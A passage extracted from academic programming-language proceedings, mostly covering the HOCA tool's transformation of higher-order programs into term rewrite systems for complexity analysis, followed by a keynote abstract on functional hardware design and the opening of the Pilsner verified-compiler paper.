complexity under the carpet of non-exhaustive instantiation. All this
can be formalised as follows.

Call a rule s → t an instance of a rule l → r, if there is a
substitution σ with s = lσ and t = rσ. We say that an ATRS B is
an instantiation of A iff all rules in B are instances of rules from A.
This instantiation is sufficiently exhaustive if for every derivation

main(d1, . . . , dk) −→A t1 −→A t2 −→A · · · ,

where di ∈ Input, there exists a corresponding derivation

main(d1, . . . , dk) −→B t1 −→B t2 −→B · · · .

The following theorem is immediate from the definition.

Theorem 2 (Instantiation Transformation). Every instantiation
transformation, mapping any ATRS into a sufficiently exhaustive
instantiation of it, is complexity reflecting and preserving.

Example 8 (Continued from Example 7). We instantiate the rule
Cl1(f,g) @ x → f @ (g @ x) by the two rules

Cl1(Cl2,Cl3(x)) @ z→ Cl3(x) @ (Cl2 @ z)

Cl1(Cl1(f,g),Cl3(x)) @ z→ Cl1(f,g) @ (Cl2 @ z) ,

leaving all other rules from the TRS depicted in Example 7 intact.
As we reasoned already before, the instantiation is sufficiently
exhaustive: in a reduction of main(l) for a list l , arguments to Cl1
are always of the form as indicated in the two rules. Note that the
right-hand side of both rules can be reduced by inlining the calls in
the right argument. Overall, we conclude that the runtime complexity
of our running example is reflected in the ATRS consisting of the
following six rules:

1 Cl2 @ z → z
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2 Cl1(Cl2,Cl3( x )) @ z → x :: z
3 Cl1(Cl1( f ,g),Cl3( x )) @ z →

Cl1( f ,g) @ ( x :: z )
4 fix walk @ [] → Cl2

5 fix walk @ ( x :: y s ) →
Cl1( fix walk @ ys ,Cl3( x ))

6 main( l ) → fix walk @ l @ []

4.4 Uncurrying
The ATRS from Example 8 is now sufficiently instantiated: for
all occurrences of the @ symbol, we know which function we are
applying, even if we do not necessarily know to what we are
applying it. The ATRS is not yet ready to be processed by FOPs,
simply because the application symbol is anyway still there, and
cannot be dealt with.

At this stage, however, the ATRS can indeed be brought to a
form suitable for analysis by FOPs through uncurrying, see e.g. the
account of Hirokawa et al. [32]. Uncurrying an ATRSA involves the
definition of a fresh function symbol fn for each n-ary application

f(t1, . . . , tm) @ tm+1 @ · · · @ tm+n ,

encountered in A. This way, applications can be completely elim-
inated. Although in [32] only ATRSs defining function symbols
of arity zero are considered, the extension to our setting poses no
problem. We quickly recap the central definitions.

Define the applicative arity aaA(f) of a symbol f in A as the
maximal n ∈ N such that a term

f(t1, . . . , tm) @ tm+1 @ · · · @ tm+n ,

occurs in A.

Definition 1. The uncurrying xty of a term t = f(t1, . . . , tm) @
tm+1 @ · · · @ tm+n, with n 6 aaA(f) is defined as

xty := f
n(xt1y, . . . , xtmy, xtm+1y, . . . , xtm+ny) ,

where f0 = f and fn (1 ≤ n ≤ aaA(f)) are fresh function symbols.
Uncurrying is homomorphically extended to ATRSs.

Note that xAy is well-defined whenever A is head variable free,
i.e. does not contain a term of the form x @ t for variable x. We
intend to use the TRS xAy to simulate reductions of the ATRSA. In
the presence of rules of functional type however, such a simulation
fails. To overcome the issue, we η-saturate A.

Definition 2. We call an ATRS A η-saturated if whenever

f(l1, . . . , lm) @ lm+1 @ · · · @ lm+n → r ∈ A with n < aaA(f),

then it contains also a rule

f(l1, . . . , lm) @ lm+1 @ · · · @ lm+n @ z → r @ z ,

where z is a fresh variable. The η-saturation Aη of A is defined as
the least extension of A that is η-saturated.

Remark. The η-saturation Aη of an ATRS A is not necessarily
finite. A simple example is the one-rule ATRS f → f @ a where
both f and a are function symbols. Provided that the ATRS A is
endowed with simple types, and indeed the simple typing of our
initial program is preserved throughout our complete transformation
pipeline, the η-saturation of A becomes finite.

Example 9 (Continued from Example 8). The ATRS from Exam-
ple 8 is not η-saturated: fixwalk is applied to two arguments in
rule (6), but its defining rules, rule (4) and (5), take a single argu-
ment only. The η-saturation thus contains in addition the following

two rules

fixwalk @ [] @ z→ Cl2 @ z ;
fixwalk @ (x::ys) @ z→ Cl1(fixwalk @ ys,Cl3(x)) @ z .

One can then check that the resulting system is η-saturated.

Lemma 2. Let Aη be the η-saturation of A.

1. The rewrite relation −→Aη coincides with −→A.
2. Suppose Aη is head variable free. If s −→Aη t then xsy −→xAηy
xty.

Proof. For Property 1, the inclusion −→A ⊆ −→Aη follows trivially
from the inclusionA ⊆ Aη . The inverse inclusion−→A ⊇ −→Aη can
be shown by a standard induction on the derivation of l→ r ∈ Aη .

Property 2 can be proven by induction on t. The proof follows
the pattern of the proof of Sternagel and Thiemann [51]. Notice that
in [51, Theorem 10], the rewrite system xAηy is enriched with uncur-
rying rules of the form fi(x1, . . . , xn) @ y → fi+1(x1, . . . , xn, y).
Such an extension is not necessary in the absence of head variables.
In our setting, the application symbol is completely eliminated by
uncurrying, and thus the above rules are dead code.

As a consequence, we immediately obtain the following theorem.

Theorem 3 (Uncurrying Transformation). Suppose that A is head
variable free. The uncurrying transformation, which maps an ATRS
A to the system xAηy, is complexity reflecting.

Example 10 (Continued from Example 9). Uncurrying the η-
saturated ATRS, consisting of the six rules from Example 8 and the
two rules from Example 9, results in the following set of rules:

1 Cl11(Cl2,Cl3( x), z ) → x :: z
2 Cl11(Cl1( f ,g),Cl3( x), z ) → Cl11( f ,g, x :: z )
3 Cl12( z ) → z
4 fix 1

walk ([]) → Cl2

5 fix 1
walk ( x: y s ) → Cl1( fix

1
walk ( y s ),Cl3( x ))

6 fix 2
walk ([], z ) → Cl12( z )

7 fix 2
walk ( x :: ys , z ) →

Cl11 ( fix
1
walk ( y s ),Cl3( x), z )

8 main( l ) → fix 2
walk ( l ,[])

Inlining the calls to fix2walk and Cl12(z), followed by dead code
elimination, results finally in the TRSRrev from Section 2.

5. Automation
In the last section we have laid the formal foundation of our
program transformation methodology, and ultimately of our tool
HOCA. Up to now, however, program transformations (except for
uncurrying) are too abstract to be turned into actual algorithms. In
dead code elimination, for instance, the underlying computation
problem (namely the one of precisely isolating usable rules) is
undecidable. In inlining, one has a decidable transformation, which
however results in a blowup of program sizes, if blindly applied.

This section is devoted to describing some concrete design
choices we made when automating our program transformations.
Another, related, issue we will talk about is the effective combination
of these techniques, the transformation pipeline.

5.1 Automating Inlining
The main complication that arises while automating our inlining
transformation is to decide where the transformation should be
applied. Here, there are two major points to consider: first, we want
to ensure that the overall transformation is not only complexity
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reflecting, but also complexity preserving, thus not defeating its
purpose. To address this issue, we employ inlining conservatively,
ensuring that it does not duplicate function calls. Secondly, as we
already hinted after Example 6, exhaustive inlining is usually not
desirable and may even lead to non-termination in the transformation
pipeline described below. Instead, we want to ensure that inlining
simplifies the problem with respect to some sensible metric, and
plays well in conjunction with the other transformation techniques.

Instead of working with a closed inlining strategy, our imple-
mentation inline(P) is parameterised by a predicate P which,
intuitively, tells when inlining a call at position p in a rule l→ r is
sensible at the current stage in our transformation pipeline. The al-
gorithm inline(P) replaces every rule l→ r by inlineA,p(l→ r)
for some position p such that P (p, l→ r) holds. The following four
predicates turned out to be useful in our transformation pipeline. The
first two are designed by taking into account the specific shape of
ATRSs obtained by defunctionalisation, the last two are generic.

• match: This predicate holds if the right-hand side r is labeled
at position p by a symbol of the form matchcs. That is, the
predicate enables inlining of calls resulting from the translation
of a match-expression, thereby eliminating one indirection due
to the encoding of pattern matching during defunctionalisation.

• lambda-rewrite: This predicate holds if the subterm r|p is of
the form lamx .e(~t) @ s. By definition it is enforced that inlining
corresponds to a plain rewrite, head variables are not instantiated.
For instance, inline(lambda-rewrite) is inapplicable on
the rule Cl2(f,g) @ z → f @ (g @ z). This way, we avoid
that variables f and g are improperly instantiated.

• constructor: The predicate holds if the right-hand sides of all
rules used to inline r|p are constructor terms, i.e. do not give
rise to further function calls. Overall, the number of function
calls therefore decreases. As a side effect, more patterns become
obvious in rules, which facilitates further inlining.

• decreasing: The predicate holds if any of the following two
conditions is satisfied: (i) proper inlining: the subterm r|p
constitutes the only call-site to the inlined function f. This way,
all rules defining f in A will turn to dead code after inlining.
(ii) size decreasing: each right-hand side in inlineA,p(l → r)
is strictly smaller in size than the right-hand side r. The aim
is to facilitate FOPs on the generated output. In the first case,
the number of rules decreases, which usually implies that in
the analysis, a FOP generates less constraints which have to
be solved. In the second case, the number of constraints might
increase, but the individual constraints are usually easier to
solve.

We emphasise that all inlinings performed on our running example
Arev are captured by the instances of inlining just defined.

5.2 Automating Instantiation and Dead Code Elimination via
Control Flow Analysis

One way to effectively eliminate dead code and apply instantiation,
as in Examples 7 and 8, consists in inferring the shape of closures
passed during reductions. This way, we can on the one hand
specialise rewrite rules being sure that the obtained instantiation is
sufficiently exhaustive, and on the other hand discover that certain
rules are simply useless, and can thus be eliminated.

To this end, we rely on an approximation of the collecting
semantics. In static analysis, the collecting semantics of a program
maps a given program point to the collection of states attainable
when control reaches that point during execution. In the context of
rewrite systems, it is natural to define the rewrite rules as program
points, and substitutions as states. Throughout the following, we
fix an ATRS A = {li → ri}i∈{1,...,n}. We define the collecting

semantics of A as a tuple (Z1, . . . , Zn), where

Zi := {(σ, t) | ∃~d ∈ Input.

main(~d) −→∗A C[liσ] −→A C[riσ] and riσ −→∗A t} .

Here the substitutions σ are restricted to the set Var(li) of variables
occurring in the left-hand side in li.

The collecting semantics ofA includes all the necessary informa-
tion for implementing both dead code elimination and instantiation:

Lemma 3. The following properties hold:
1. The rule li → ri ∈ A constitutes dead code if and only

if Zi = ∅.
2. Suppose the ATRS B is obtained by instantiating rules li → ri

with substitutions σi,1, . . . , σi,ki . Then the instantiation is
sufficiently exhaustive if for every substitution σ with (σ, t) ∈
Zi, there exists a substitution σi,j (j ∈ {1, . . . , ik}) which is
at least as general as σ.

Proof. The first property follows by definition. For the second
property, consider a derivation

main(d1, . . . , dk) −→∗A C[liσ] −→A C[riσ] ,

and thus (σ, riσ) ∈ Zi. By assumption, there exists a substitution
σi,j (i ∈ {1, . . . , ik}) is at least as general as σ. Hence the ATRS
B can simulate the step from C[liσ] −→A C[riσ], using the rule
liσi,j → riσi,j ∈ B. From this, the property follows by inductive
reasoning.

As a consequence, the collecting semantics of A is itself not
computable. Various techniques to over-approximate the collecting
semantics have been proposed, e.g. by Feuillade et al. [23], Jones
[33] and Kochems and Ong [36]. In all these works, the approx-
imation consists in describing the tuple (Z1, . . . , Zn) by a finite
object.

In HOCA we have implemented a variation of the technique of
Jones [33], tailored to call-by-value semantics (already hinted at
in [33]). Conceptually, the form of control flow analysis we perform
is close to a 0-CFA [41], merging information derived from different
call sites. Whilst being efficient to compute, the precision of this
relatively simple approximation turned out to be reasonable for our
purpose.

The underlying idea is to construct a (regular) tree grammar
which over-approximates the collecting semantics. Here, a tree
grammar G can be seen as a ground ATRS whose left-hand sides
are all function symbols with arity zero. The non-terminals of G
are precisely the left-hand sides. For the remaining, we assume that
variables occurring A are indexed by indices of rules, i.e. every
variable occurring in the ith rule li → ri ∈ A has index i. Hence the
set of variables of rewrite rules in A are pairwise disjoint. Besides
a designated non-terminal S, the start-symbol, the constructed tree
grammar G admits two kinds of non-terminals: non-terminals Ri
for each rule li → ri and non-terminals zi for variables zi occurring
in A. Note that the variable zi is considered as a constant in G. We
say that G is safe for A if the following two conditions are satisfied
for all (σ, t) ∈ Zi: (i) zi −→∗G σ(zi) for each zi ∈ Var(li); and
(ii) Ri −→∗G t. This way, G constitutes a finite over-approximation
of the collecting semantics of A.

Example 11. Figure 2 shows the tree grammar G constructed by
the method described below, which is safe for the ATRS A from
Example 6. The notation N → t1 | · · · | tn is a short-hand for the
n rules N → ti.

The construction of Jones consists of an initial automaton
G0, which describes considered start terms, and which is then
systematically closed under rewriting by way of an extension
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* → [] | *::*
S → main(*) | R12

R12 → fixwalk @ l12 @ [] | R9 @ [] | R10 @ [] | R1 | R2

| Cl1(R9 ,Cl3(x10 )) | Cl1(R10 ,Cl3(x10 ))

R10 → Cl1(fixwalk@ ys10 ,Cl3(x10 ))

R9 → Cl2

R1 → f1 @ (g1 @ z1 ) | f1 @R3 | R1 | R2

R3 → x3::z3

R2 → z2

l12 → *

x10 → *

ys10 → *

z3 → z1

f1 → R9 | R10

g1 → Cl3(x10 )

z1 → R3 | []
z2 → R3 | []
x3 → x10

Figure 2. Over-approximation of the collecting semantics of the ATRS from Example 6.

operator δ(·). Suitable to our concerns, we define G0 as the tree
grammar consisting of the following rules:

S → main(* , . . . ,*) and
* → Cj(* , . . . ,*) for each constructor Cj of A.

Then clearly S −→∗G main(d1, . . . , dn) for all inputs di ∈ Input.
We let G be the least set of rules satisfying G ⊇ G0 ∪ δ(G) with

δ(G) :=
⋃

N→C[u]∈G

Extcbv(N → C[u]) .

Here, Extcbv(N → C[u]) is defined as the following set of rules: N → C[Ri ], li → ri ∈ A,
Ri → ri, and u −→∗G liσ is minimal
zi → σ(zi) for all zi ∈ Var(li) and σ normalised wrt. A.


In contrast to [33], we require that the substitution σ is normalised,
thereby modelling call-by-value semantics. The tree grammar G
is computable using a simple fix-point construction. Minimality
of f(t1, . . . , tk) −→∗G liσ means that there is no shorter sequence
f(t1, . . . , tk) −→∗G liτ with liτ −→∗G liσ, and ensures that G is
finite [33], thus the construction is always terminating.

We illustrate the construction on the ATRS from Example 6.

Example 12. Revise the ATRS from Example 6. To construct the
safe tree grammar as explained above, we start from the initial
grammar G0 given by the rule

S → main(*) * → [] | *::* ,

and then successively fix violations of the above closure condition.
The only violation in the initial grammar is caused by the first pro-
duction. Here, the right-hand side main(*) matches the (renamed)
rule 12: main(l12 ) →fixwalk@ l12 @ [], using the substitution
{ l12 7→ *}. We fix the violation by adding productions

S → R12 R12 → fixwalk @ l12 @ [] l12 → * .

The tree grammar G constructed so far tells us that l12 is a list. In
particular, we have the following two minimal sequences which
makes the left subterm of the R12 -production an instances of the
left-hand sides of defining rules of fixwalk (rules (9) and (10)):

fixwalk @ l12 −→+
G fixwalk @ [] ,

fixwalk @ l12 −→+
G fixwalk @ *::* .

To resolve the closure violations, the tree grammar is extended by
productions

R12 → R9 @ [] R9 → Cl2

because of rule (9), and by

R12 → R10 @ [] x10 → *

R10 → Cl1(fixwalk@ ys10 ,Cl3(x10 )) ys10 → * .

due to rule (10). We can now identify a new violation in the
production of R10 . Fixing all violations this way will finally result
in the tree grammar depicted in Figure 2.

The following lemma confirms that G is closed under rewriting
with respect to the call-by-value semantics. The lemma constitutes
a variation of Lemma 5.3 from [33].

Lemma 4. If S −→∗G t and t −→∗A C[liσ] −→A C[riσ] then
S −→∗G C[Ri ], Ri −→G ri and zi −→∗G σ(zi) for all zi ∈ Var(li).

Theorem 4. The tree grammar G is safe for A.

Proof. Fix (σ, t) ∈ Zi, and let z ∈ Var(li). Thus main(~d) −→∗A
C[liσ] −→A C[riσ] and riσ −→∗A t for some inputs d ∈ Input. As
we have S −→∗G main(~d) since G0 ⊆ G, Lemma 4 yields Ri −→G ri
and zi −→∗G σ(z), i.e. the second safeness conditions is satisfied.
Clearly, Ri −→G ri −→∗G riσ. A standard induction on the length of
riσ −→∗A t then yields Ri −→∗A t, using again Lemma 4.

We arrive now at our concrete implementation cfa(A) that
employs the above outlined call flow analysis to deal with both
dead code elimination and instantiation on the given ATRS A.
The construction of the tree grammar G follows itself closely the
algorithm outlined by Jones [33]. Recall that the ith rule li → ri ∈
A constitutes dead code if the ith component Zi of the collecting
semantics of A is empty, by Lemma 3(1). Based on the constructed
tree grammar, the implementation identifies rule li → ri as dead
code when G does not define a productionRi → t and thus Zi = ∅.
All such rules are eliminated, in accordance to Proposition 4. On
the remaining rules, our implementation performs instantiation as
follows. We suppose ε-productions N →M , for non-terminals M ,
have been eliminated by way of a standard construction, preserving
the set of terms from non-terminals in G. Thus productions in G
have the form N → f(t1, . . . , tk). Fix a rule li → ri ∈ A. The
primary goal of this stage is to get rid of head variables, with respect
to the η-saturated ATRS Aη , thereby enabling uncurrying so that
the ATRS A can be brought into functional form. For all such head
variables z, then, we construct a set of binders

{zi 7→ fresh(f(t1, . . . , tk)) | zi → f(t1, . . . , tk) ∈ G} ,

where the function fresh replaces non-terminals by fresh variables,
discarding binders where the right-hand contains defined symbols.
For variables z which do not occur in head positions, we construct
such a binder only if the production zi → f(t1, . . . , tk) is unique.
With respect to the tree grammar of Figure 2, the implementation
generates binders

{ f1 7→ Cl2, f1 7→ Cl1(f’,Cl3(x’))} and {g1 7→ Cl3(x’’)} .

The product-combination of all such binders gives then a set
of substitution {σi,1, . . . , σi,ik} that leads to sufficiently many
instantiations liσi,j → riσi,j of rule li → ri, by Lemma 3(2). Our
implementation replaces every rule li → ri ∈ A by instantiations
constructed this way.

The definition of binder was chosen to keep the number of com-
puted substitutions minimal, and hence the generated head variable
free ATRS small. Putting things together, we see that the instantia-
tion is sufficiently exhaustive, and thus the overall transformation
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simplify = simpATRS; toTRS; simpTRS where
simpATRS =

e x h a u s t i v e inline(lambda -rewrite );

e x h a u s t i v e inline(match );

e x h a u s t i v e inline(constructor );

usableRules

toTRS = cfa; uncurry; usableRules

simpTRS =

e x h a u s t i v e (( inline(decreasing );

usableRules) > cfaDCE)

Figure 3. Transformation Strategy in HOCA.

is complexity reflecting and preserving by Theorem 2. By cfaDCE
we denote the variation of cfa that performs dead code elimination,
but no instantiations.

5.3 Combining Transformations
We have now seen all the building blocks underlying our tool
HOCA. But in which order should we apply the introduced program
transformations? In principle, one could try to blindly iterate the
proposed techniques and hope that a FOP can cope with the output.
Since transformations are closed under composition, the blind
iteration of transformations is sound, although seldom effective. In
short, a strategy is required that combines the proposed techniques
in a sensible way. There is no clear notion of a perfect strategy. After
all, we are interested in non-trivial program properties. However, it
is clear that any sensible strategy should at least (i) yield overall a
transformation that is effectively computable, (ii) generate ATRSs
whose runtime complexity is in relation to the complexity of the
analysed program, and (iii) produce ATRSs suitable for analysis via
FOPs.

In Figure 3 we render the transformation strategy underlying
our tool HOCA. More precise, Figure 3 defines a transformation
simplify based on the following transformation combinators:

• f1;f2 denotes the composition f2 ◦ f1, where f1(A) = f1(A)
if defined and f1(A) = A otherwise;

• the transformation exhaustivef iterates the transformation f
until inapplicable on the current ATRS; and

• the operator > implements left-biased choice: f1 > f2 applies
transformation f1 if successful, otherwise f2 is applied.

It is easy to see that all three combinators preserve the two cru-
cial properties of transformations, viz, complexity reflection and
complexity preservation.

The transformation simplify depicted in Figure 3 is composed
out of three transformations simpATRS, toTRS and simpTRS, each
itself defined from transformations inline(P) and cfa describe in
Sections 5.1 and 5.2, respectively, the transformation usableRules
which implements the aforementioned computationally cheap, unifi-
cation based, criterion from [24] to eliminate dead code (see Sec-
tion 4.2), and the transformation uncurry, which implements the
uncurrying-transformation from Section 4.4.

The first transformation in our chain, simpATRS, performs in-
lining driven by the specific shape of the input ATRS obtained by
defunctionalisation, followed by syntax driven dead code elimina-
tion. The transformation toTRS will then translate the intermediate
ATRSs to functional form by the uncurrying transformation, using
control flow analysis to instantiate head variables sufficiently and
further eliminate dead code. The transformation simpTRS then sim-
plifies the obtained TRS by controlled inlining, applying syntax
driven dead code elimination where possible, resorting to the more
expensive version based on control flow analysis in case the simpli-

fication stales. To understand the sequencing of transformations in
simpTRS, observe that the strategy inline(decreasing) is inter-
leaved with dead code elimination. Dead code elimination, both in
the form of usableRules and cfaDCE, potentially restricts the set
inlineA,p(l→ r), and might facilitate in consequence the transfor-
mation inline(decreasing). Importantly, the rather expensive,
flow analysis driven, dead code analysis is only performed in case
both inline(decreasing) and its cheaper cousin usableRules
fail.

The overall strategy simplify is well-defined on all inputs ob-
tained by defunctionalisation, i.e. terminating [10]. Although we
cannot give precise bounds on the runtime complexity in general, in
practice the number of applications of inlinings is sufficiently con-
trolled to be of practical relevance. Importantly, the way inlining and
instantiation is employed ensures that the sizes of all intermediate
TRSs are kept under tight control.

6. Experimental Evaluation
So far, we have covered the theoretical and implementation aspects
underlying our tool HOCA. The purpose of this section is to indicate
how our methods performs in practice. To this end, we compiled a
diverse collection of higher-order programs from the literature [22,
35, 43] and standard textbooks [15, 47], on which we performed
tests with our tool in conjunction with the general-purpose first-
order complexity tool TCT [8], version 2.1.6 For comparison, we have
also paired HOCA with the termination tool TTT2 [37], version 1.15.

In Table 1 we summarise our experimental findings on the 25
examples from our collection.7 Row S in the table indicates the total
number of higher-order programs whose runtime could be classified
linear, quadratic and at most polynomial when HOCA is paired with
the back-end TCT, and those programs that can be shown terminating
when HOCA is paired with TTT2. In contrast, row D shows the same
statistics when the FOP is run directly on the defunctionalised
program, given by Proposition 2. To each of those results, we state
the minimum, average and maximum execution time of HOCA and the
employed FOP. All experiments were conducted on a machine with
a 8 dual core AMD Opteron™ 885 processors running at 2.60GHz,
and 64Gb of RAM.8 Furthermore, the tools were advised to search
for a certificate within 60 seconds.

As the table indicates, not all examples in the testbed are sub-
ject to a runtime complexity analysis through the here proposed
approach. However, at least termination can be automatically ver-
ified. For all but one example (namely mapplus.fp) the obtained
complexity certificate is asymptotically optimal. As far as we know,
no other fully automated complexity tool can handle the five open
examples. We will comment below on the reason why HOCA may
fail.

Let us now analyse some of the programs from our testbed.
For each program, we will briefly discuss what HOCA, followed by
selected FOPs can prove about it. This will give us the opportunity
to discuss about specific aspects of our methodology, but also about
limitations of the current FOPs.

Reversing a List. Our running example, namely the functional
program from Section 2 which reverses a list, can be transformed
by HOCA into a TRS which can easily be proved to have linear
complexity. Similar results can be proved for other programs.

Parametric Insertion Sort. A more complicated example is a
higher-order formulation of the insertion sort algorithm, example

6 We ran also experiments with AProVE and CaT as back-end, this however
did not extend the power.
7 Examples and full experimental evidence can be found on the HOCA
homepage.
8 Average PassMark CPU Mark 2851; http://www.cpubenchmark.net/.
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Table 1. Experimental Evaluation conducted with TCT and TTT2.

constant linear quadratic polynomial terminating

D # systems 2 5 5 5 8
FOP execution time 0.37 / 1.71 / 3.05 0.37 / 4.82 / 13.85 0.37 / 4.82 / 13.85 0.37 / 4.82 / 13.85 0.83 / 1.38 / 1.87

S # systems 2 14 18 20 25
HOCA execution time 0.01 / 2.28 / 4.56 0.01 / 0.54 / 4.56 0.01 / 0.43 / 4.56 0.01 / 0.42 / 4.56 0.01 / 0.87 / 6.48
FOP execution time 0.23 / 0.51 / 0.79 0.23 / 2.53 / 14.00 0.23 / 6.30 / 30.12 0.23 / 10.94 / 60.10 0.72 / 1.43 / 3.43

isort-fold.fp, which is parametric on the subroutine which
compares the elements of the list being sorted. This is an example
which cannot be handled by linear type systems [13]: we do
recursion over a function which in an higher-order variable occurs
free. Also, type systems like the ones in [35], which are restricted to
linear complexity certificates, cannot bind the runtime complexity of
this program. HOCA, instead, is able to put it in a form which allows
TCT to conclude that the complexity is, indeed quadratic.

Divide and Conquer Combinators. Another noticeable exam-
ple is the divide an conquer combinator, defined in example
mergesort-dc.fp, which we have taken from [47]. We have
then instantiated it so that the resulting algorithm is the merge
sort algorithm. HOCA is indeed able to translate the program into
a first-order program which can then be proved to be terminating
by FOPs. This already tells us that the obtained ATRS is in a form
suitable for the analysis. The fact that FOPs cannot say anything
about its complexity is due to the limitations of current FOPS which,
indeed, are currently not able to perform a sufficiently powerful
non-local size analysis, a necessary condition for proving merge
sort to be a polynomial time algorithm. Similar considerations hold
for Okasaki’s parser combinator, various instances of which can be
proved themselves terminating.

7. Related Work
What this paper shows is that complexity analysis of higher-order
functional programs can be made easier by way of program trans-
formations. As such, it can be seen as a complement rather than an
alternative to existing methodologies. Since the literature on related
work is quite vast, we will only give in this section an overview of
the state of the art, highlighting the differences with to our work.

Control Flow Analysis. A clear understanding of control flow
in higher-order programs is crucial in almost any analysis of
non-functional properties. Consequently, the body of literature on
control flow analysis is considerable, see e.g. the recent survey
of Midtgaard [39]. Closest to our work, control flow analysis has
been successfully employed in termination analysis, for brevity we
mention only [25, 34, 44]. By Jones and Bohr [34] a strict, higher-
order language is studied, and control flow analysis facilitates the
construction of size-change graphs needed in the analysis. Based
on earlier work by Panitz and Schmidt-Schauß [44], Giesl et al.
[25] study termination of Haskell through so-called termination
or symbolic execution graphs, which under the hood corresponds
to a careful study of the control flow in Haskell programs. While
arguable weak dependency pairs [30] or dependency triples [42]
form a weak notion of control flow analysis, our addition of
collecting semantics to complexity analysis is novel.

Type Systems. That the rôle of type systems can go beyond type
safety is well-known. The abstraction type systems implicitly pro-
vide, can enforces properties like termination or bounded complex-
ity. In particular, type systems for the λ-calculus are known which

characterise relatively small classes of functions like the one of
polynomial time computable functions [13]. The principles under-
lying these type systems, which by themselves cannot be taken
as verification methodologies, have been leveraged while defin-
ing type systems for more concrete programming languages and
type inference procedures, some of them being intensionally com-
plete [18, 20]. All these results are of course very similar in spirit to
what we propose in this work. What is lacking in most of the pro-
posed approaches is the presence, at the same time, of higher-order,
automation, and a reasonable expressive power. As an example,
even if in principle type systems coming from light logics [13] in-
deed handle higher-order functions and can be easily implementable,
the class of catched programs is small and full recursion is simply
absent. On the other hand, Jost et al. [35] have successfully encapsu-
lated Tarjan’s amortised cost analysis into a type systems that allows
a fully automatic resource analysis. In contrast to our work, only
linear resource usage can be established. However, their cost metric
is general, while our technique only works for time bounds. Also
in the context of amortised analysis, Danielsson [21] provides a
semiformal verification of the runtime complexity of lazy functional
languages, which allows the derivation of non-linear complexity
bounds on selected examples.

Term Rewriting. Traditionally, a major concern in rewriting has
been the design of sound algorithmic methodologies for checking
termination. This has given rise to many different techniques includ-
ing basic techniques like path orders or interpretations, as well as
sophisticated transformation techniques, c.f. [52, Chapter 6]. Com-
plexity analysis of TRSs can be seen as a natural generalisation of
termination analysis. And, indeed, variations on path orders and the
interpretation methods capable of guaranteeing quantitative proper-
ties have appeared one after the other starting from the beginning
of the nineties [7, 16, 38, 40]. In both termination and complexity
analysis, the rewriting community has always put a strong emphasis
to automation. However, with respect to higher-order rewrite sys-
tems (HRSs) only termination has received steady attention, c.f. [52,
Chapter 11]. Except for very few attempts without any formal results
complexity analysis of HRSs has been lacking [12, 17].

Cost Functions. An alternative strategy for complexity analysis
consists in translating programs into other expressions (which could
be programs themselves) whose purpose is precisely computing
the complexity (also called the cost) of the original program. Com-
plexity analysis is this way reduced to purely extensional reasoning
on the obtained expressions. Many works have investigated this
approach in the context of higher-order functional languages, start-
ing from the pioneering work by Sands [49] down to more recent
contributions, e.g. Vasconcelos et al. [53]. What is common among
most of the cited works is that either automation is not considered
(e.g. cost functions can indeed be produced, but the problem of
putting them in closed form is not [53]), or the time complexity is
not analysed parametrically on the size of the input [27]. A notable
exception is Benzinger’s work [14], which however only applies to
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programs extracted from proofs, and thus only works with primitive
recursive definitions.
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Abstract
Higher order functions provide an elegant way to express algo-
rithms designed for implementation in hardware [1, 6–9]. By show-
ing examples of both classic and new algorithms, I will explain why
higher order functions deserve to be studied.

Next, I will consider the extent to which ideas from functional
programming, and associated formal verification methods, have
influenced hardware design in practice [3–5, 10]. What can we
learn from looking back?

You might ask ”Why are methods of hardware design still im-
portant to our community?”. Maybe we should just give up? One
reason for not giving up is that hardware design is really a form of
parallel programming. And here there is still a lot to do! Inspired
by Blelloch’s wonderful invited talk at ICFP 2010 [2], I still believe
that functional programming has much to offer in the central ques-
tion of how to program the parallel machines of today, and, more
particularly, of the future. I will briefly present some of the areas
where I think that we are poised to make great contributions. But
maybe we need to work harder on getting our act together?

Categories and Subject Descriptors D.1.1 [Applicative (Func-
tional) Programming]; B.6.3 [Hardware Description Languages];
D.1.3 [Concurrent Programming]: Parallel Programming

Keywords Hardware design, parallel algorithms, functional pro-
gramming, higher order functions, parallel programming
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using induction and a SAT-solver. In Formal Methods in Computer-
Aided Design, volume 1954 of LNCS, pages 127–144. Springer, 2000.

Permission to make digital or hard copies of part or all of this work for personal or
classroom use is granted without fee provided that copies are not made or distributed
for profit or commercial advantage and that copies bear this notice and the full citation
on the first page. Copyrights for third-party components of this work must be honored.
For all other uses, contact the Owner/Author.
Copyright is held by the owner/author(s).

ICFP’15, August 31 – September 2, 2015, Vancouver, BC, Canada
ACM. 978-1-4503-3669-7/15/08
http://dx.doi.org/10.1145/2784731.2789053

165



Pilsner: A Compositionally Verified Compiler
for a Higher-Order Imperative Language

Georg Neis
MPI-SWS, Germany
neis@mpi-sws.org

Chung-Kil Hur ∗

Seoul National University,
South Korea

gil.hur@sf.snu.ac.kr

Jan-Oliver Kaiser
MPI-SWS, Germany
janno@mpi-sws.org

Craig McLaughlin
University of Glasgow, UK

mr mcl@live.co.uk

Derek Dreyer
MPI-SWS, Germany
dreyer@mpi-sws.org

Viktor Vafeiadis
MPI-SWS, Germany
viktor@mpi-sws.org

Abstract
Compiler verification is essential for the construction of fully
verified software, but most prior work (such as CompCert) has
focused on verifying whole-program compilers. To support separate
compilation and to enable linking of results from different verified
compilers, it is important to develop a compositional notion of
compiler correctness that is modular (preserved under linking),
transitive (supports multi-pass compilation), and flexible (applicable
to compilers that use different intermediate languages or employ
non-standard program transformations).

In this paper, building on prior work of Hur et al., we develop a
novel approach to compositional compiler verification based on
parametric inter-language simulations (PILS). PILS are modu-
lar: they enable compiler verification in a manner that supports
separate compilation. PILS are transitive: we use them to verify
Pilsner, a simple (but non-trivial) multi-pass optimizing compiler
(programmed in Coq) from an ML-like source language S to an
assembly-like target language T, going through a CPS-based in-
termediate language. Pilsner is the first multi-pass compiler for
a higher-order imperative language to be compositionally veri-
fied. Lastly, PILS are flexible: we use them to additionally verify
(1) Zwickel, a direct non-optimizing compiler for S, and (2) a hand-
coded self-modifying T module, proven correct w.r.t. an S-level
specification. The output of Zwickel and the self-modifying T mod-
ule can then be safely linked together with the output of Pilsner. All
together, this has been a significant undertaking, involving several
person-years of work and over 55,000 lines of Coq.

Categories and Subject Descriptors D.3.4 [Programming Lan-
guages]: Processors—Compilers; F.3.1 [Logics and Meanings
of Programs]: Specifying and Verifying and Reasoning about
Programs—Mechanical verification

Keywords Compositional compiler verification, parametric simula-
tions, higher-order state, recursive types, abstract types, transitivity

∗Corresponding author.

1. Introduction
Most verification tools operate on programs written in high-level lan-
guages, which must be compiled down to machine-level languages
prior to execution. The compiler is simply trusted to “preserve the
